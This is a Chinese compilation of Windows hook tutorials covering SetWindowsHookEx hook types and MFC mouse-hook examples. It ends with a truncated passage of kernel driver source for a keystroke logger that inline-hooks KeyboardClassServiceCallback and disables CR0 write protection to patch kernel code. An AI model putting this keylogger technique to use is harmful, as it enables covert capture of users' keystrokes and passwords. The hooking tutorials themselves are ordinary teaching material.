Bootstrap

vc++HOOK详细讲解

 
消息钩子函数入门 
Windows 系统是建立在事件驱动的机制上的,说穿了就是整个系统都是通过消息的传递来实
现的。而钩子是 Windows 系统中非常重要的系统接口,用它可以截获并处理送给其他应用
程序的消息,来完成普通应用程序难以实现的功能。钩子可以监视系统或进程中的各种事件
消息,截获发往目标窗口的消息并进行处理。这样,我们就可以在系统中安装自定义的钩子,
监视系统中特定事件的发生,完成特定的功能,比如截获键盘、鼠标的输入,屏幕取词,日
志监视等等。可见,利用钩子可以实现许多特殊而有用的功能。因此,对于高级编程人员来
说,掌握钩子的编程方法是很有必要的。


钩子的类型 
   一. 按事件分类,有如下的几种常用类型 
   (1) 键盘钩子和低级键盘钩子可以监视各种键盘消息。 
   (2) 鼠标钩子和低级鼠标钩子可以监视各种鼠标消息。 
   (3) 外壳钩子可以监视各种 Shell 事件消息。比如启动和关闭应用程序。 
   (4) 日志钩子可以记录从系统消息队列中取出的各种事件消息。 
   (5) 窗口过程钩子监视所有从系统消息队列发往目标窗口的消息。 
   此外,还有一些特定事件的钩子提供给我们使用,不一一列举。 
下面描述常用的 Hook 类型: 
1、WH_CALLWNDPROC 和 WH_CALLWNDPROCRET Hooks 
WH_CALLWNDPROC 和 WH_CALLWNDPROCRET Hooks 使你可以监视发送到窗口过程的消息。
系统在消息发送到接收窗口过程之前调用 WH_CALLWNDPROC Hook 子程,并且在窗口过程
处理完消息之后调用 WH_CALLWNDPRO 
CRET Hook 子程。WH_CALLWNDPROCRET Hook 传递指针到 CWPRETSTRUCT 结构,再传递到
Hook 子程。CWPRETSTRUCT 结构包含了来自处理消息的窗口过程的返回值,同样也包括了
与这个消息关联的消息参数。 
2、WH_CBT Hook 
在以下事件之前,系统都会调用 WH_CBT Hook 子程,这些事件包括: 
1. 激活,建立,销毁,最小化,最大化,移动,改变尺寸等窗口事件; 
2. 完成系统指令; 
3. 来自系统消息队列中的移动鼠标,键盘事件; 
4. 设置输入焦点事件; 
5. 同步系统消息队列事件。 
Hook 子程的返回值确定系统是否允许或者防止这些操作中的一个。 
3、WH_DEBUG Hook 
在系统调用系统中与其他 Hook 关联的 Hook 子程之前,系统会调用 WH_DEBUG Hook 子程。
你可以使用这个 Hook 来决定是否允许系统调用与其他 Hook 关联的 Hook 子程。 
4、WH_FOREGROUNDIDLE Hook 
当应用程序的前台线程处于空闲状态时,可以使用 WH_FOREGROUNDIDLE Hook 执行低优先
级的任务。当应用程序的前台线程大概要变成空闲状态时,系统就会调用 WH_FOREGROUN
DIDLE Hook 子程。 
5、WH_GETMESSAGE Hook 
应用程序使用 WH_GETMESSAGE Hook 来监视从 GetMessage or PeekMessage 函数返回的消
息。你可以使用 WH_GETMESSAGE Hook 去监视鼠标和键盘输入,以及其他发送到消息队列
中的消息。 
6、WH_JOURNALPLAYBACK Hook 
WH_JOURNALPLAYBACK Hook 使应用程序可以插入消息到系统消息队列。可以使用这个 Hoo
k 回放通过使用 WH_JOURNALRECORD Hook 记录下来的连续的鼠标和键盘事件。只要 WH_J
OURNALPLAYBACK Hook 已经安装,正常的鼠标和键盘事件就是无效的。WH_JOURNALPLAYB
ACK Hook 是全局 Hook,它不能象线程特定 Hook 一样使用。WH_JOURNALPLAYBACK Hook
返回超时值,这个值告诉系统在处理来自回放 Hook 当前消息之前需要等待多长时间(毫秒)。
这就使 Hook 可以控制实时事件的回放。WH_JOURNALPLAYBACK 是 system-wide local hooks,
它們不會被注射到任何行程位址空間。(估计按键精灵是用这个 hook 做的) 
7、WH_JOURNALRECORD Hook 
WH_JOURNALRECORD Hook 用来监视和记录输入事件。典型的,可以使用这个 Hook 记录连
续的鼠标和键盘事件,然后通过使用 WH_JOURNALPLAYBACK Hook 来回放。WH_JOURNALR
ECORD Hook 是全局 Hook,它不能象线程特定 Hook 一样使用。WH_JOURNALRECORD 是 sys
tem-wide local hooks,它們不會被注射到任何行程位址空間。 
8、WH_KEYBOARD Hook 
在应用程序中,WH_KEYBOARD Hook 用来监视 WM_KEYDOWN and WM_KEYUP 消息,这些
消息通过 GetMessage or PeekMessage function 返回。可以使用这个 Hook 来监视输入到消
息队列中的键盘消息。 
9、WH_KEYBOARD_LL Hook 
WH_KEYBOARD_LL Hook 监视输入到线程消息队列中的键盘消息。 
10、WH_MOUSE Hook 
WH_MOUSE Hook 监视从 GetMessage 或者 PeekMessage 函数返回的鼠标消息。使用这个 H
ook 监视输入到消息队列中的鼠标消息。 
11、WH_MOUSE_LL Hook 
WH_MOUSE_LL Hook 监视输入到线程消息队列中的鼠标消息。 
12、WH_MSGFILTER 和 WH_SYSMSGFILTER Hooks 
WH_MSGFILTER 和 WH_SYSMSGFILTER Hooks 使我们可以监视菜单,滚动条,消息框,对话
框消息并且发现用户使用 ALT+TAB or ALT+ESC 组合键切换窗口。WH_MSGFILTER Hook 只能
监视传递到菜单,滚动条,消息框的消息,以及传递到通过安装了 Hook 子程的应用程序建
立的对话框的消息。WH_SYSMSGFILTER Hook 监视所有应用程序消息。WH_MSGFILTER 和
WH_SYSMSGFILTER Hooks 使我们可以在模式循环期间过滤消息,这等价于在主消息循环中
过滤消息。通过调用 CallMsgFilter function 可以直接的调用 WH_MSGFILTER Hook。通过使
用这个函数,应用程序能够在模式循环期间使用相同的代码去过滤消息,如同在主消息循环
里一样。 
13、WH_SHELL Hook 
外壳应用程序可以使用 WH_SHELL Hook 去接收重要的通知。当外壳应用程序是激活的并且
当顶层窗口建立或者销毁时,系统调用 WH_SHELL Hook 子程。 
WH_SHELL 共有5钟情況: 
1. 只要有个 top-level、unowned 窗口被产生、起作用、或是被摧毁; 
2. 当 Taskbar 需要重画某个按钮; 
3. 当系统需要显示关于 Taskbar 的一个程序的最小化形式; 
4. 当目前的键盘布局状态改变; 
5. 当使用者按 Ctrl+Esc 去执行 Task Manager(或相同级别的程序)。   
按照惯例,外壳应用程序都不接收 WH_SHELL 消息。所以,在应用程序能够接收 WH_SHELL
消息之前,应用程序必须调用 SystemParametersInfo function 注册它自己。 
以上是 13 种常用的 hook 类型! 
   二. 按使用范围分类,主要有线程钩子和系统钩子 
   (1) 线程钩子监视指定线程的事件消息。 
   (2) 系统钩子监视系统中的所有线程的事件消息。因为系统钩子会影响系统中所有
的应用程序,所以钩子函数必须放在独立的动态链接库(DLL) 
中。这是系统钩子和线程钩子很大的不同之处。 
   几点需要说明的地方: 
   (1) 如果对于同一事件(如鼠标消息)既安装了线程钩子又安装了系统钩子,那么
系统会自动先调用线程钩子,然后调用系统钩子。 
   (2) 对同一事件消息可安装多个钩子处理过程,这些钩子处理过程形成了钩子链。
当前钩子处理结束后应把钩子信息传递给下一个钩子函数。而且最近安装的钩子放在链的开
始,而最早安装的钩子放在最后,也就是后加入的先获得控制权。 
   (3) 钩子特别是系统钩子会消耗消息处理时间,降低系统性能。只有在必要的时候
才安装钩子,在使用完毕后要及时卸载。 
编写钩子程序 
   编写钩子程序的步骤分为三步:定义钩子函数、安装钩子和卸载钩子。 
   1.定义钩子函数 
   钩子函数是一种特殊的回调函数。钩子监视的特定事件发生后,系统会调用钩子函数
进行处理。不同事件的钩子函数的形式是各不相同的。下面以鼠标钩子函数举例说明钩子函
数的原型: 
LRESULT CALLBACK HookProc(int nCode ,WPARAM wParam,LPARAM lParam) 
参数 wParam 和 lParam 包含所钩消息的信息,比如鼠标位置、状态,键盘按键等。nCode
包含有关消息本身的信息,比如是否从消息队列中移出。 
我们先在钩子函数中实现自定义的功能,然后调用函数 CallNextHookEx.把钩子信息传递给
钩子链的下一个钩子函数。CallNextHookEx.的原型如下:
LRESULT CallNextHookEx( HHOOK hhk, int nCode, WPARAM wParam, LPARAM lParam ) 
参数 hhk 是钩子句柄。nCode、wParam 和 lParam 是钩子函数。 
当然也可以通过直接返回 TRUE 来丢弃该消息,就阻止了该消息的传递。 
2.安装钩子 
   在程序初始化的时候,调用函数 SetWindowsHookEx 安装钩子。其函数原型为: 
HHOOK SetWindowsHookEx( int idHook,HOOKPROC lpfn, INSTANCE hMod,DWORD dwThrea
dId ) 
参数 idHook 表示钩子类型,它是和钩子函数类型一一对应的。比如,WH_KEYBOARD 表示
安装的是键盘钩子,WH_MOUSE 表示是鼠标钩子等等。 
   Lpfn 是钩子函数的地址。 
   HMod 是钩子函数所在的实例的句柄。对于线程钩子,该参数为 NULL;对于系统钩子,
该参数为钩子函数所在的 DLL 句柄。 
   dwThreadId 指定钩子所监视的线程的线程号。对于全局钩子,该参数为 NULL。 
   SetWindowsHookEx 返回所安装的钩子句柄。 
   3.卸载钩子 
   当不再使用钩子时,必须及时卸载。简单地调用函数 BOOL UnhookWindowsHookEx(
HHOOK hhk)即可。  


值得注意的是线程钩子和系统钩子的钩子函数的位置有很大的差别。线程钩子一般在当前线
程或者当前线程派生的线程内,而系统钩子必须放在独立的动态链接库中,实现起来要麻烦
一些。 


线程钩子的编程实例: 
   按照上面介绍的方法实现一个线程级的鼠标钩子。钩子跟踪当前窗口鼠标移动的位置
变化信息。并输出到窗口。 
   (1)在 VC++6.0 中利用 MFC 
APPWizard(EXE)生成一个不使用文档/视结构的单文档应用 mousehook。打开 childview.cp
p 文件,加入全局变量: 
HHOOK hHook;//鼠标钩子句柄 
CPoint point;//鼠标位置信息 
CChildView *pView; 
// 鼠标钩子函数用到的输出窗口指针 


   在 CChildView::OnPaint()添加如下代码: 
CPaintDC dc(this); 
char str[256]; 
sprintf(str,“x=%d,y=%d",point.x,point.y); 
//构造字符串 
dc.TextOut(0,0,str); //显示字符串 


   (2)childview.cpp 文件中定义全局的鼠标钩子函数。 
LRESULT CALLBACK MouseProc 
(int nCode, WPARAM wParam, LPARAM lParam) 
{//是鼠标移动消息 
if(wParam==WM_MOUSEMOVE||wParam 
==WM_NCMOUSEMOVE) 

point=((MOUSEHOOKSTRUCT *)lParam)->pt; 
//取鼠标信息 
pView->Invalidate(); //窗口重画 

return CallNextHookEx(hHook,nCode,wParam,lParam); 
//传递钩子信息 

(3)CChildView 类的构造函数中安装钩子。 
CChildView::CChildView() 

pView=this;//获得输出窗口指针 
hHook=SetWindowsHookEx(WH_MOUSE,MouseProc,0,GetCurrentThreadId()); 

(4)CChildView 类的析构函数中卸载钩子。  
CChildView::~CChildView() 

if(hHook) 
UnhookWindowsHookEx(hHook); 



系统钩子的编程实例: 
由于系统钩子要用到 dll,所以先介绍下 win32 dll 的特点: 
Win32 DLL 与 Win16 DLL 有很大的区别,这主要是由操作系统的设计思想决定的。一方面,
在 Win16 DLL 中程序入口点函数和出口点函数(LibMain 和 WEP)是分别实现的;而在 Win3
2 DLL 中却由同一函数 DLLMain 来实现。无论何时,当一个进程或线程载入和卸载 DLL 时,
都要调用该函数,它的原型是 BOOL WINAPI DllMain 
(HINSTANCE hinstDLL,DWORD fdwReason, LPVOID lpvReserved);,其中,第一个参数表示 DL
L 的实例句柄;第三个参数系统保留;这里主要介绍一下第二个参数,它有四个可能的值:DLL
_PROCESS_ATTACH(进程载入),DLL_THREAD_ATTACH(线程载入),DLL_THREAD_DETACH(线
程卸载),DLL_PROCESS_DETACH(进程卸载),在 DLLMain 函数中可以对传递进来的这个参
数的值进行判别,并根据不同的参数值对 DLL 进行必要的初始化或清理工作。举个例子来说,
当有一个进程载入一个 DLL 时,系统分派给 DLL 的第二个参数为 DLL_PROCESS_ATTACH,这
时,你可以根据这个参数初始化特定的数据。另一方面,在 Win16 环境下,所有应用程序
都在同一地址空间;而在 Win32 环境下,所有应用程序都有自己的私有空间,每个进程的空
间都是相互独立的,这减少了应用程序间的相互影响,但同时也增加了编程的难度。大家知
道,在 Win16 环境中,DLL 的全局数据对每个载入它的进程来说都是相同的;而在 Win32 环
境中,情况却发生了变化,当进程在载入 DLL 时,系统自动把 DLL 地址映射到该进程的私有
空间,而且也复制该 DLL 的全局数据的一份拷贝到该进程空间,也就是说每个进程所拥有的
相同的 DLL 的全局数据其值却并不一定是相同的。因此,在 Win32 环境下要想在多个进程
中共享数据,就必须进行必要的设置。亦即把这些需要共享的数据分离出来,放置在一个独
立的数据段里,并把该段的属性设置为共享。 
在 VC6 中有三种形式的 MFC DLL(在该 DLL 中可以使用和继承已有的 MFC 类)可供选择,即
Regular statically linked to MFC DLL(标准静态链接 MFC DLL)和 Regular using the share
d MFC DLL(标准动态链接 MFC DLL)以及 Extension MFC DLL(扩展 MFC DLL)。第一种 D
LL 的特点是,在编译时把使用的 MFC 代码加入到 DLL 中,因此,在使用该程序时不需要其
他 MFC 动态链接类库的存在,但占用磁盘空间比较大;第二种 DLL 的特点是,在运行时,动
态链接到 MFC 类库,因此减少了空间的占用,但是在运行时却依赖于 MFC 动态链接类库;
这两种 DLL 既可以被 MFC 程序使用也可以被 Win32 程序使用。第三种 DLL 的特点类似于第
二种,做为 MFC 类库的扩展,只能被 MFC 程序使用。 
下面说说在 VC6 中全局共享数据的实现 
   在主文件中,用#pragma data_seg 建立一个新的数据段并定义共享数据,其具体格式
为: 
   #pragma data_seg ("shareddata") 
   HWND sharedwnd=NULL;//共享数据 
   #pragma data_seg() 
   仅定义一个数据段还不能达到共享数据的目的,还要告诉编译器该段的属性,有两种
方法可以实现该目的(其效果是相同的),一种方法是在.DEF 文件中加入如下语句: 
SETCTIONS shareddata READ WRITE SHARED  
   另一种方法是在项目设置链接选项中加入如下语句: 
   /SECTION:shareddata,rws 
好了,准备知识已经学完了,让我们开始编写个全局的钩子程序吧! 






由于全局钩子函数必须包含在动态链接库中,所以本例由两个程序体来实现。 
1.建立钩子 Mousehook.DLL 
   (1)选择 MFC AppWizard(DLL)创建项目 Mousehook; 
   (2)选择 MFC Extension DLL(共享 MFC 拷贝)类型; 
   (3)由于 VC5 没有现成的钩子类,所以要在项目目录中创建 Mousehook.h 文件,在其中
建立钩子类: 
   class AFX_EXT_CLASS Cmousehook:public CObject 
   { 
   public: 
   Cmousehook(); 
   //钩子类的构造函数 
   ~Cmousehook(); 
   //钩子类的析构函数 
   BOOL starthook(HWND hWnd); 
   //安装钩子函数 
   BOOL stophook(); 
   卸载钩子函数 
   }; 
   (4)在 Mousehook.app 文件的顶部加入#include"Mousehook.h"语句; 
   (5)加入全局共享数据变量: 
   #pragma data_seg("mydata") 
   HWND glhPrevTarWnd=NULL; 
   //上次鼠标所指的窗口句柄 
   HWND glhDisplayWnd=NULL; 
   //显示目标窗口标题编辑框的句柄 
   HHOOK glhHook=NULL; 
   //安装的鼠标钩子句柄 
   HINSTANCE glhInstance=NULL; 
   //DLL 实例句柄 
   #pragma data_seg() 
   (6)在 DEF 文件中定义段属性: 
   SECTIONS 
   mydata READ WRITE SHARED 
   (7)在主文件 Mousehook.cpp 的 DllMain 函数中加入保存 DLL 实例句柄的语句: 
   DllMain(HINSTANCE hInstance, DWORD dwReason, LPVOID lpReserved) 
   { 
   //如果使用 lpReserved 参数则删除下面这行 
   UNREFERENCED_PARAMETER(lpReserved);  
   if (dwReason == DLL_PROCESS_ATTACH) 
   { 
   TRACE0("MOUSEHOOK.DLL Initializing!\n"); 
   //扩展 DLL 仅初始化一次 
   if (!AfxInitExtensionModule(MousehookDLL, hInstance)) 
   return 0; 
   new CDynLinkLibrary(MousehookDLL); 
   //把 DLL 加入动态 MFC 类库中 
   glhInstance=hInstance; 
   //插入保存 DLL 实例句柄 
   } 
   else if (dwReason == DLL_PROCESS_DETACH) 
   { 
   TRACE0("MOUSEHOOK.DLL Terminating!\n"); 
   //终止这个链接库前调用它 
   AfxTermExtensionModule(MousehookDLL); 
   } 
   return 1; 
   } 
   (8)类 Cmousehook 的成员函数的具体实现: 
   Cmousehook::Cmousehook() 
   //类构造函数 
   { 
   } 
   Cmousehook::~Cmousehook() 
   //类析构函数 
   { 
   stophook(); 
   } 
   BOOL Cmousehook::starthook(HWND hWnd) 
   //安装钩子并设定接收显示窗口句柄 
   { 
   BOOL bResult=FALSE; 
   glhHook=SetWindowsHookEx(WH_MOUSE,MouseProc,glhInstance,0); 
   if(glhHook!=NULL) 
   bResult=TRUE; 
   glhDisplayWnd=hWnd; 
   //设置显示目标窗口标题编辑框的句柄 
   return bResult; 
   } 
   BOOL Cmousehook::stophook() 
   //卸载钩子 
   { 
   BOOL bResult=FALSE;  
   if(glhHook) 
   { 
   bResult= UnhookWindowsHookEx(glhHook); 
   if(bResult) 
   { 
   glhPrevTarWnd=NULL; 
   glhDisplayWnd=NULL;//清变量 
   glhHook=NULL; 
   } 
   } 
   return bResult; 
   } 
   (9)钩子函数的实现: 
   LRESULT WINAPI MouseProc(int nCode,WPARAM wparam,LPARAM lparam) 
   { 
   LPMOUSEHOOKSTRUCT pMouseHook=(MOUSEHOOKSTRUCT FAR *) lparam; 
   if (nCode>=0) 
   { 
   HWND glhTargetWnd=pMouseHook->hwnd; 
   //取目标窗口句柄 
   HWND ParentWnd=glhTargetWnd; 
   while (ParentWnd !=NULL) 
   { 
   glhTargetWnd=ParentWnd; 
   ParentWnd=GetParent(glhTargetWnd); 
   //取应用程序主窗口句柄 
   } 
   if(glhTargetWnd!=glhPrevTarWnd) 
   { 
   char szCaption[100]; 
   GetWindowText(glhTargetWnd,szCaption,100); 
   //取目标窗口标题 
   if(IsWindow(glhDisplayWnd)) 
   SendMessage(glhDisplayWnd,WM_SETTEXT,0,(LPARAM)(LPCTSTR)szCaption); 
   glhPrevTarWnd=glhTargetWnd; 
   //保存目标窗口 
   } 
   } 
   return CallNextHookEx(glhHook,nCode,wparam,lparam); 
   //继续传递消息 
   } 
   (10)编译项目生成 mousehook.dll。 
   2.创建钩子可执行程序 
   (1)用 MFC 的 AppWizard(EXE)创建项目 Mouse;  
   (2)选择“基于对话应用”并按下“完成”键; 
   (3)编辑对话框,删除其中原有的两个按钮,加入静态文本框和编辑框,用鼠标右键点
击静态文本框,在弹出的菜单中选择“属性”,设置其标题为“鼠标所在的窗口标题”; 


   (4)在 Mouse.h 中加入对 Mousehook.h 的包含语句#Include"..\Mousehook\Mousehook.h
"; 
   (5)在 CMouseDlg.h 的 CMouseDlg 类定义中添加私有数据成员: 
   CMouseHook m_hook;//加入钩子类作为数据成员 
   (6)修改 CmouseDlg::OnInitDialog()函数: 
   BOOL CMouseDlg::OnInitDialog() 
   { 
   CDialog::OnInitDialog(); 
   ASSERT((IDM_ABOUTBOX & 0xFFF0) == IDM_ABOUTBOX); 
   ASSERT(IDM_ABOUTBOX <0xF000); 
   CMenu* pSysMenu = GetSystemMenu(FALSE); 
   if (pSysMenu != NULL) 
   { 
   CString strAboutMenu; 
   strAboutMenu.LoadString(IDS_ABOUTBOX); 
   if (!strAboutMenu.IsEmpty()) 
   { 
   pSysMenu->AppendMenu(MF_SEPARATOR); 
   pSysMenu->AppendMenu(MF_STRING, IDM_ABOUTBOX, strAboutMenu); 
   } 
   } 
   SetIcon(m_hIcon, TRUE);//Set big icon 
   SetIcon(m_hIcon, FALSE);//Set small icon 
   //TODO: Add extra initialization here 
   CWnd * pwnd=GetDlgItem(IDC_EDIT1); 
   //取得编辑框的类指针 
   m_hook.starthook(pwnd->GetSafeHwnd()); 
   //取得编辑框的窗口句柄并安装钩子 
   return TRUE; 
   //return TRUE unless you set the focus to a control 
   } 
   (7)链接 DLL 库,即把..\Mousehook\debug\Mousehook.lib 加入到项目设置链接标签中; 
   (8)编译项目生成可执行文件; 
   (9)把 Mousehook.DLL 拷贝到..\mouse\debug 目录中; 
   (10)先运行几个可执行程序,然后运行 Mouse.exe 程序,把鼠标在不同窗口中移动,
在 Mouse.exe 程序窗口中的编辑框内将显示出鼠标所在的应用程序主窗口的标题 






 


 
vc 中 SetwindowsHookEx 的 hook 介绍 
上一篇 / 下一篇  2008-04-15 11:10:57 / 个人分类:c++
查看( 289 ) / 评论( 0 ) / 评分( 0 / 0 ) 
WINDOWS VC 编程之 HOOK 技术 
hook 是 WINDOWS 提供的一种消息处理机制,它使得程序员可以使用子过程来监视系统消息,并在消息
到达目标过程前得到处理。 
下面将介绍 WINNDOWS HOOKS 并且说明如何在 WINDOWS 程序中使用它。  
 
关于 HOOKS 
使用 HOOK 将会降低系统效率,因为它增加了系统处量消息的工作量。建议在必要时才使用 HOOK,并
在消息处理完成后立即移去该 HOOK。 
HOOK 链 
WINDOWS 提供了几种不同类型的 HOOKS;不同的 HOOK 可以处理不同的消息。例如,WH_MOUSE 
HOOK 用来监视鼠标消息。 
WINDOWS 为这几种 HOOKS 维护着各自的 HOOK 链。HOOK 链是一个由应用程序定义的回调函数队列,
当某种类型的消息发生时,WINDOWS 向此种类型的 HOOK 链的第一个函数发送该消息,在第一函数处
理完该消息后由该函数向链表中的下一个函数传递消息,依次向下。如果链中某个函数没有向下传送该消
息,那么链表中后面的函数将得不到此消息。(对于某些类型的 HOOK,不管 HOOK 链中的函数是否向下
传递消息,与此类型 HOOK 联系的所有 HOOK 函数都会收到系统发送的消息) 
HOOK 过程 
为了拦截特定的消息,你可以使用 SetWindowsHookEx 函数在该类型的 HOOK 链中安装你自己的 HOOK
函数。该函数语法如下: 
public function MyHook(nCode,wParam,iParam) as long 
„加入代码 
end function 
其中 MyHook 可以随便命名,其它不能变。该函数必须放在模块段。nCode 指定 HOOK 类型。wParam,i
Param 的取值随 nCode 不同而不同,它代表了某种类型的 HOOK 的某个特定的动作。 
SetWindowsHookEx 总是将你的 HOOK 函数放置在 HOOK 链的顶端。你可以使用 CallNextHookEx 函数
将系统消息传递给 HOOK 链中的下一个函数。 
[注释]对于某些类型的 HOOK,系统将向该类的所有 HOOK 函数发送消息,这时,HOOK 函数中的 CallN
extHookEx 语句将被忽略。  
全局 HOOK 函数可以拦截系统中所有线程的某个特定的消息(此时该 HOOK 函数必须放置在 DLL 中),
局部 HOOK 函数可以拦截指定线程的某特定消息(此时该 HOOK 函数可以放置在 DLL 中,也可以放置在
应用程序的模块段)。 
[注释] 建议只在调试时使用全局 HOOK 函数。全局 HOOK 函数将降低系统效率,并且会同其它使用该类
HOOK 的应用程序产生冲突。  
 
HOOK 类型 
WH_CALLWNDPROC 和 WH_CALLWNDPROCRET HOOK 
WH_C ALLWNDPROC 和 WH_CALLWNDPROCRET HOOK 可以监视 SendMessage 发送的消息。系
统在向窗体过程发送消息前,将调用 WH_CALLWNDPROC;在窗体过程处理完该消息后系统将调用 WH
_CALLWNDPROCRET。 
WH_CALLWNDPROCRET HOOK 会向 HOOK 过程传送一个 CWPRETSTRUCT 结构的地址。该结构包
含了窗体过程处理系统消息后的一些信息。 
WH_CBT Hook 
系统在激活,创建,消毁,最小化,最大化,移动,改变窗体前;在完成一条系统命令前;在从系统消息
队列中移去鼠标或键盘事件前;在设置输入焦点前,或同步系统消息队列前,将调用 WH_CBT HOOK。
你可以在你的 HOOK 过程拦截该类 HOOK,并返回一个值,告诉系统,是否继续执行上面的操作。 
WH_DEBUG HOOK 
系统在调用与某种 HOOK 类型联系的 HOOK 过程前,将调用 WH_DEBUG ,应用程序可以使用该 HOO
K 决定是否让系统执行某种类型的 HOOK。 
WH_FOREGROUNDIDLE Hook 
系统在空闲时调用该 HOOK,在后台执行优先权较低的应用程序。 
WH_GETMESSAGE Hook 
WH_GETMESSAGE Hook 使应用程序可以拦截 GetMessage 或 PeekMessage 的消息。应用程序使用
WH_GETMESSAGE HOOK 监视鼠标、键盘输入和发送到队列中的其它消息。 
WH_JOURNALRECORD Hook 
WH_JOURNALRECORD Hook 使应用程序可以监视输入事件。典型地,应用程序使用该 HOOK 记录鼠
标、键盘输入事件以供以后回放。该 HOOK 是全局 HOOK,并且不能在指定线程中使用。 
WH_JOURNALPLAYBACK Hook 
` WH_JOURNALPLAYBACK Hook 使应用程序可以向系统消息队列中插入消息。该 HOOK 可以回放以前
由 WH_JOURNALRECORD HOOK 录制的鼠标、键盘输入事件。在 WH_JOURNALPLAYBACK Hook
安装到系统时,鼠标、键盘输入事件将被屏蔽。该 HOOK 同样是一个全局 HOOK,不能在指定线程中使用。 
WH_JOURNALPLAYBACK Hook 返回一个时间暂停值,它告诉系统,在处理当前回放的消息时,系统等
待百分之几秒。这使得此 HOOK 可以控制在回放时的时间事件。 
WH_KEYBOARD Hook 
WH_KEYBOARD Hook 使应用程序可以监视由 GetMessage 和 PeekMessage 返回的 WM_KEYDOWN 
及 WM_KEYUP 消息。应用程序使用该 HOOK 监视发送到消息队列中的键盘输入。 
WH_MOUSE Hook 
WH_MOUSE Hook 使应用程序可以监视由 GetMessage 和 PeekMessage 返回的消息。应用程序使用该
HOOK 监视发送到消息队列中的鼠标输入。 
WH_MSGFILTER and WH_SYSMSGFILTER Hooks 
WH_MSGFILTER 和 WH_SYSMSGFILTER Hooks 使应用程序可以监视菜单、滚动条、消息框、对话框,
当用户使用 ALT+TAB 或 ALT+ESC 来切换窗体时,该 HOOK 也可以拦截到消息。WH_MSGFILTER 仅在
应用程序内部监视菜单、滚动条、消息框、对话框,而 WH_SYSMSGFILTER 则可以在系统内监视所有应
用程序的这些事件。 
WH_SHELL Hook 
一个 SHELL 程序可以使用 WH_SHELL Hook 来接收重要的信息。当一个 SHELL 程序被激活前或当前窗
体被创建、消毁时,系统会调用 WH_SHELL Hook 过程。 


 
vc++实现 Inline hook KeyboardClassServiceCallback 实现键盘记录 
/* 
*/ 
#ifndef _DBGHELP_H
#define _DBGHELP_H 1 
#include <ntddk.h> 
#define dprintf if (DBG) DbgPrint
#define nprintf DbgPrint 
#define kmalloc(_s) ExAllocatePoolWithTag(NonPagedPool, _s, 'SYSQ')
//#define kfree(_p) ExFreePoolWithTag(_p, 'SYSQ')
#define kfree(_p) ExFreePool(_p) 
#endif 
#include <ntddk.h>
//#include <ntifs.h>
#include <windef.h> 
#include "HookKey.h"
#include "struct.h"
#include <ntddkbd.h> 
#define MAXBUF 0x15//存储键盘扫描码的缓冲区,其中第一字节为当前存储位置,
ULONG g_OldFunction; 
ULONG g_uCr0; 
BYTE g_HookCode[5] = { 0xe9, 0, 0, 0, 0 };
BYTE g_OrigCode[5] = { 0 }; // 原函数的前字节内容 
BYTE jmp_orig_code[7] = { 0xEA, 0, 0, 0, 0, 0x08, 0x00 }; //因为是长转移,所以有
个 0x08 
PDEVICE_OBJECT pDevObj;
BOOL g_bHooked = FALSE;
int KeyCode=0;
PVOID hPageDataSection;
PVOID KeyBuf;
PDEVICE_OBJECT g_kbDeviceObject = NULL;
ULONG g_kbdclass_base ;
ULONG g_lpKbdServiceCallback ;
VOID  ReadKeyBuf();
VOID  ChangeFake_Function();
VOID
fake_OldFunction (
      PDEVICE_OBJECT  DeviceObject,
      PKEYBOARD_INPUT_DATA  InputDataStart,
      PKEYBOARD_INPUT_DATA  InputDataEnd,
      PULONG  InputDataConsumed
      );
#ifdef ALLOC_PRAGMA
#pragma alloc_text(NONPAGED, fake_OldFunction)
#endif 
/* 
  HookKey.H 
  Author: <your name>
  Last Updated: 2006-02-12 
  This framework is generated by EasySYS 0.3.0
  This template file is copying from QuickSYS 0.3.0 written by Chunhua Liu 
*/ 
#ifndef _HOOKKEY_H
#define _HOOKKEY_H 1 
//
// Define the various device type values.  Note that values used by Microsoft
// Corporation are in the range 0-0x7FFF(32767), and
0x8000(32768)-0xFFFF(65535)
// are reserved for use by customers.
// 
#define FILE_DEVICE_HOOKKEY 0x8000 
//
// Macro definition for defining IOCTL and FSCTL function control codes. Note
// that function codes 0-0x7FF(2047) are reserved for Microsoft Corporation,
// and 0x800(2048)-0xFFF(4095) are reserved for customers.
// 
#define HOOKKEY_IOCTL_BASE 0x800 
//
// The device driver IOCTLs
// 
#define CTL_CODE_HOOKKEY(i) CTL_CODE(FILE_DEVICE_HOOKKEY,
HOOKKEY_IOCTL_BASE+i, METHOD_BUFFERED, FILE_ANY_ACCESS) 
#define IOCTL_HOOKKEY_HELLO CTL_CODE_HOOKKEY(0)
#define IOCTL_HOOKKEY_TEST CTL_CODE_HOOKKEY(1) 
//
// Name that Win32 front end will use to open the HookKey device
// 
#define HOOKKEY_WIN32_DEVICE_NAME_A "\\\\.\\HookKey"
#define HOOKKEY_WIN32_DEVICE_NAME_W L"\\\\.\\HookKey"
#define HOOKKEY_DEVICE_NAME_A   "\\Device\\HookKey"
#define HOOKKEY_DEVICE_NAME_W   L"\\Device\\HookKey"
#define HOOKKEY_DOS_DEVICE_NAME_A  "\\DosDevices\\HookKey"
#define HOOKKEY_DOS_DEVICE_NAME_W  L"\\DosDevices\\HookKey" 
#ifdef _UNICODE
#define HOOKKEY_WIN32_DEVICE_NAME HOOKKEY_WIN32_DEVICE_NAME_W
#define HOOKKEY_DEVICE_NAME  HOOKKEY_DEVICE_NAME_W
#define HOOKKEY_DOS_DEVICE_NAME HOOKKEY_DOS_DEVICE_NAME_W
#else
#define HOOKKEY_WIN32_DEVICE_NAME HOOKKEY_WIN32_DEVICE_NAME_A
#define HOOKKEY_DEVICE_NAME  HOOKKEY_DEVICE_NAME_A
#define HOOKKEY_DOS_DEVICE_NAME HOOKKEY_DOS_DEVICE_NAME_A
#endif 
#endif
    
VOID
Proxy_OldFunction (
PDEVICE_OBJECT  DeviceObject,
PKEYBOARD_INPUT_DATA  InputDataStart,
PKEYBOARD_INPUT_DATA  InputDataEnd,
PULONG  InputDataConsumed
    );
typedef VOID
(*My_KeyboardClassServiceCallback) (
         PDEVICE_OBJECT  DeviceObject,
         PKEYBOARD_INPUT_DATA  InputDataStart,
         PKEYBOARD_INPUT_DATA  InputDataEnd,
         PULONG  InputDataConsumed
         );
My_KeyboardClassServiceCallback orig_KeyboardClassServiceCallback = NULL;
void WPOFF()
{
   
    ULONG uAttr;
   
    _asm
    {
        push eax;
        mov eax, cr0;
        mov uAttr, eax;
        and eax, 0FFFEFFFFh; // CR0 16 BIT = 0
        mov cr0, eax;
        pop eax;
        cli
    };
    
    g_uCr0 = uAttr; //保存原有的 CRO 屬性
    

VOID WPON()
{
   
    _asm
    {
        sti
